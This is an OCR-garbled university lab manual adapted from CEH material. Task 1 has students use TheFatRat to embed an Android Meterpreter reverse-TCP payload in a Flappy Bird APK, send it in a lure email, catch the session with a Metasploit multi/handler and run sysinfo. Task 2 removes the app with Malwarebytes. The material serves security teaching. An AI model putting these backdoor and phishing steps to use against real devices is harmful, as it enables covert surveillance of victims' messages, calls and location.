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Task 1: Hacking Android Device with a Malicious App using The FatRat

TheFatRat is an exploitng tool which amplies a malware with famous payload and then the complied malware can be executed on windows, android, MAC.
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5. Now Navigate to https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/Eomm8MisgJRPu7ZDNAbECkoBqAztXjGEPx0-O-f7Ig2L-w?e=kHKYwP 
6. Copy Flappy_Bird.apk
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Task 2:  Securing Android Devices from Malicious Applications
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	                                   Module Leader: Dr Carlene Campbell
This Lab adapted from CEH lab manual
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Lab Scenario

Social Engineering is one of the most typically used attacks by a hacker. As the recent
rrends suggest, many prominent organizatons fall victim to this arrack vecror. The
arrackers trick the smff of a workplace to click links in a legiimate looking document
which mrn our to be malicious and even able to evade the ant-virus programs.

Lab Objectives

The objective of this lab is to help students learn to detect Trojan and backdoor
attacks.

The objectives of this lab include:
® Arracking a device using a sample backdoor and monitor the system
activity
Lab Environment
To complete this lab, vou will need:
® Kali Linux running in Virtual machine
®*  Android emulator running on virmal machine (Victim)
®*  Aweb browser with Internet access

= Administratve privileges to run tools
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Overview of TheFatRat

TheFatRat provides an easy way to create backdoors and payloads which can bypass
MOSE aNG-virus systems.
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Lab Tasks

1. Before starting the lab make sure that you are logged into the kali linux
machine, and TheFatRat has been installed in it.

2. launch a terminal window, type fatrat and hit Enter to start TheFarRat

root@kali: ~
File Edit View Search Terminal Help

:~# fatrat]]
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root@kali: ~

ile Edit View Search Terminal Help

Backdoor Creator for Remote Acces

SELECT AN OPTION TO BEGIN:
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le

10.10.10.11.

root@kali: ~/TheFatRat

Edit View Search Terminal

<Kali machine
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Cleaning Temp files
Done!

- local IPV4 addre
42

98,117.airtelbreadband. in
t LHOST IP: 18.16.18.11

Set LPORT: 4444

Enter the path to your android app/game .{ex: /root/downloads/myapp.apk)

(froot/Desktop/Flappy Bird.apk]]
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Choose Payload «

root@kali: ~

File Edit

] Embed a Metaspleit Payload in an original .apk files
] This script is POC for injecting metasploit payload arbitary apk backdoor
1 = = = -

leaning Temp files
one!

Your local IPV4 address is : 10.10.18.11

Your local IPV6 address is : fe8®::28c:29ff:fe74:3942

Your public IP address is : 117.98.207.86

Your Hostname is : telemedia-ap-dynamic-86.287.98.117.airtelbroadband.in

Set LHOST IP: 10.10.10.11

Set LPORT: 4444

Enter the path to your android app/game .(ex: /froot/downloads/myapp.apk)

/root/Desktop/Flappy Bird.apk

android/meterpreter/reverse http
android/meterpreter/reverse https
android/meterpreter/reverse tcp

android/shell/reverse ht

(- BT RSP VA
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Select Tool to create apk

root@kali: ~

i R - 2 - -
| [ 11 android/meterpreter/reverse http |
| [ 21 android/meterpreter/reverse https |
| [ 31 android/meterpreter/reverse tcp |
| [ 41 android/shell/reverse http |
| [ 51 android/shell/reverse https |
| [ 61 android/shell/reverse tcp |
b *

Choose Payload : 3

s
1 Use Backdoor-apk 8.2.2 |
rat method |

M =
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root@kali: ~

earch Terminal Help

bt PRI R S P 5 50 0 (0 0 03 O O G ! bttt b bbb bttt %
Generate Backdoor

e B B +

| Name || Descript || Your Input

A A e B +

| LHOST || The Listen Addres || 18.18.18.11

| LPORT || The Listen Ports || 4444

| OUTPUTNAME || The Filename output || app_backdoor.apk

| PAYLOAD || Payload To Be Used || android/meterpreter/reverse_tcp
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rooti@kali:

View ch  Terminal Help
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12. Now we shall create a malicious email and atrach this backdoored apk for the
vicim to download. When composing a new email, click the Attach files
button as shown in the screenshot.

Attach files
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13. In the file upload window, navigate to the locaton of your backdoored apk
file (here /root'TheFatRatbackdoored), sclect the backdoored file (here

app_backdoor.apk) and click Open.

Cancel File Upload

@ Recent 4 frroot TheFatRat . backdoored »

@ Home Name v | Size

e B app_backdoor.apk 4.0 MB
SKLO|
i P £ output

[ Documents = Readme.md

Open

Modified
00:18
Yesterday
Yesterday
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14. Now craft a legit looking email so that there are high chances of the victim
downloading and installing it and with the atached malicious apk file click
Send.

Coolest Game Ever!
cehuseréGé@outlook.com

Coolest Game Ever!

Hey CEH,

Check out this coolest game just released. My high score is 9999, think
you could beat it? Play and find out!
Have Fun!!

app_backdoor.apk (3,867K)
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15. Now open another terminal window and type msfeonsle and hit Enter.

root@kali: ~

File Edit View Search Terminal Help

-oot@kali:~# fconsole
]-*] Starting the Metasploit Framework consolLe...\
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16. Metasploit Framework starts, here we will setup a listener. To make a listener,

follow the following steps:
A. Type use multihandler and hit Enter.
B. Type set payload androidmeterpreter/reverse_tcp and hit Enter.

C. Type set LHOST <your kali machine IP> and hit Enter. Here the Kali
machine’s [P is 10.10.10.11.

D. Finally, type set LPORT 4444 and hit Enter.

root@kali: ~

File Edit View Search Terminal Help

16115
=[ 1699 exploits - 968 auxiliary - 299 post
503 payloads - 40 encoders - 1@ nops
=[ Free Metasploit Pro trial: http://r-7.co/trymsp

load
1sT exploit(handler) =
HOST == 10.10.10.11
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1it Enter.

root@kali: ~
File Edit View Searc erminal  Help

--=[ 503 payloads - 40 encoders - 1@ nops 1
- -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp |

15f > use multi/handler

nst exploit( ) = set payload android/meterpreter/reverse tcp
rayload == android/meterpreter/reverse tcp

15f exploit( ) = set LHOST 10.19.10.11

HOST == 10.10.10.11

1sT exploit( )} = set LPORT 4444

PORT == 4444

1sf exploit( ) =|run

*] Exploit running as background job @.

*] Started reverse TCP handler on 10.10.10.11:4444
ef evploit( I |
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19. Do you want to install this applicadon? Window appears, click Install

&  FappyBird

Do you want to install this application? It will get access to:

access precise location (GPS and network-based)
record audio

directly call phone numbers
® this may cost you money
read call log

read phone status and identity
write call log

read your text messages (SMS or MMS)
receive text messages (SMS)

send and view SMS messages

® this may cost you money

modify or delete the contents of your SD card
read the contents of your SD card

CANCEL
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20. After the file is installed successfully, click Open.

& FappyBird

App installed.
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root@kali: ~
File Edit View Searc erminal Help

nsf > use multi/handler

nst exploit( ) = set payload android/meterpreter/reverse tcp
rayload == android/meterpreter/reverse tcp

nst exploit( ) = set LHOST 10.10.108.11

HOST == 10.10.10.11

15f exploit( )} = set LPORT 4444

PORT == 4444

1sf exploit( )} = run

*] Exploit running as background job @.

*] Started reverse TCP handler on 16.10.18.11:4444
st exploit( ) = [*] Sending stage (69658 bytes) to 10.10.10.4
*] Meterpreter session 1 opened (10.10.10.11:4444 -> 10.10.10.4:55602) at 2
:18-@1-19 B0:38:04 -0500
.4
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sessions -i 1 and hit Enter m ¢

rpre Ter.

root@kali: ~

ile Edit View Search Terminal Help
1sf exploit( ) = sessions -1 1
*] Starting interaction with 1...

eterpreter > ||
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root@kali: ~

File Edit View Search Terminal Help

ieterpreter = sysinfo

omputer : localhost

15 : Android 7.1.2 - Linux 4.9.54-android-x86-gfb63269e5ada (1686)
leterpreter : dalvik/android

ieterpreter =| pwd

‘data/user/0/com. flappybird.tapping/files

eterpreter >
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Lab Analysis

Analyze and document your results related to this lab exercise. Provide your opinion
on your mrger’s security posture and exposure.
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Malwarebytes Security app provides full functionality to protect your Android device.
Using up-to-the-manute intelligence, you can scan your apps on demand or at the interval
ot wur choice.
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Lab Scenario

Android's growing popularity has led to increased security threats, ranging from
typical malware to advanced phishing and 1D theft techniques. Many security
software companies have launched their security apps to help Android users to
deal with these issues that will cover all requirements including a group of
complete security suites with anti-theft capabilities.

The penetration tester will scan for any unsecured settings your device may have
and will advise accordingly. The Privacy Advisor, on the other hand, scans and
lists all the installed apps and categorizes them under three categories: apps that
may cause costs, apps that may harm your privacy and apps that may access the
Internet. You can sort the categories to vour own needs using the icons at the
bottom. The Spam Protection is a straightforward yet effective call, and SMS
filter, and the recently added App Protection will lock any app you want with an

alphanumeric password.
Lab Objectives
The objective of this lab is to help students learn to:

®* How to scan for malicious applications and files on Android mobile
devices

®* How to uninstall malicious applications

* How to delete the malicious files

Lab Environment
To complete this lab, you will need:
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®*  Android emulator running on virtual machine
* A web browser with Internet access

®  Administratve privileges to run twols




image29.tmp
Overview of Lab

Malwarebytes Security automatically scans apps as you install them. This and-virus
functonality helps you to avoid unwanted software which can lead to dara loss and
unexpected costs. [t also protects vour device from arracks via USSD or other special
codes. Moreover, if vour device is lost or stolen, a remote lock or wipe will shield your
personal information from prying eyes.

Lab Tasks

1. Launch Android Emulator and click Play Store icon on the Home
Screen.

2. Make sure that google account has added it to the Play Store; if not, create
a new one and add the account.
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3. In the Play Store search bar, type Malwarebytes Security and sclect
Malwarebytes Security: Antivirus & Anti-Malware, as shown in the
screenshot.

matwaret|

yies Securty: Antivins B AntsMabware
tos

yles for srcrokimabwsce

yies anthmakware

ybes socuny aribirus & anthmakwac

g anthmabess app
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4. The application information is displayed, click INSTALL to start the
installation of Malwarebytes Security. You can also read further by
scrolling down.

MM ahaarahy/Hac

Malwarebytes Security: Antivirus & Anti-Malware
Mahwarshytes

2]
30 MB

INSTALL [,

n-app purchases

@  This app may not ba optimized for your devic
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5.

Once the applicaton is installed, click OPEN to launch it.

AMMAahaarahy/tac

Malwarebytes Security: Antivirus & Anti-Malware
Malwarebytes
:2

@  This app may nat be optimized for your deviee

2200

Dowthads 1252712
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6. Mahwarebytes welcome screen appears, swipe m view the next screen.

Welcome to Malwarebytes Premium trial
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7. In the next screen click Got It m start Malwarebytes.

Enjoy 30 days of Premium
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8. Mahwarebytes will ask the user for permission to access the files. Click Give
permission.

Note: If a system pop-up appears asking for permissions, click ALLOW.

Malwarebytes needs some permissions to pretect your device

W Storage & Files
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9. Welcome to your premium trial window appears, click MY DASHBOARD.

Welcome to your

Premium trial

Premium gives you real-time protection and much more to keep your device safe.

MY DASHBOARD
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10. The Malwarebytes dashboard appears, under the Last Device scan heading,
click SCAN NOW to launch a malware scan on vour Android machine.

curdaned

UPDATE Hotw
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11. The program scans your device, and threat window opens. Here you will see
all the malware (if any) found on your device. Click Remove selected button
m remove the detected malware from your device.

@ Dosclect 2 threats
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12. A confirmatdon window pops up, click OK to confirm the removal of
malware.

Confirmation

Do you want to remove selected item?
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13. Main Acdvity window pops up, click OK to uninstall the malicious app from
vour device.

@ MainActivity

Do you want to uninstall this app?
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14. Now navigate back to your dashboard and secroll down to find Device
Administrator is not enabled heading, Under this heading click the Enable
Device Administrator button.

- rieal issues.

® WMahare civinsass has not been upcated yet

* Usage Accass not enabked

% Safe Browsing Scanmer Disabled
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15. About Administration window pops up, click DO IT NOW.

o About Administration

Device Administrator rights let us do a large number of things to protect your device.

We use this permission for Anti-Ransomware remediation, to carry out any SMS
commands that you might send and to enable Real Time Protection through file
monitoring.

This permission also protects Malwarebytes from being uninstalled by malicious apps

trying to control your device.
DO IT NOW
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16. You will be taken to Activate device administrator? Window, click Activate
this device administrator. Now Malwarebytes has admin privileges and will
keep a real-ime check on vour device for malware and other threats.

Activate device administrator?

allow the app Matwarebytes 1o perform ing operations:

Set screen lock password expiration

Chang quently 1he ereen ko

Set storage encryption
hit 1o i b

Disable cameras

Ivate this device administrator &
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Lab Analysis

Analyze and document your results related to this lab exercise. Provide your opinion
on your mrger’s security posture and exposure.
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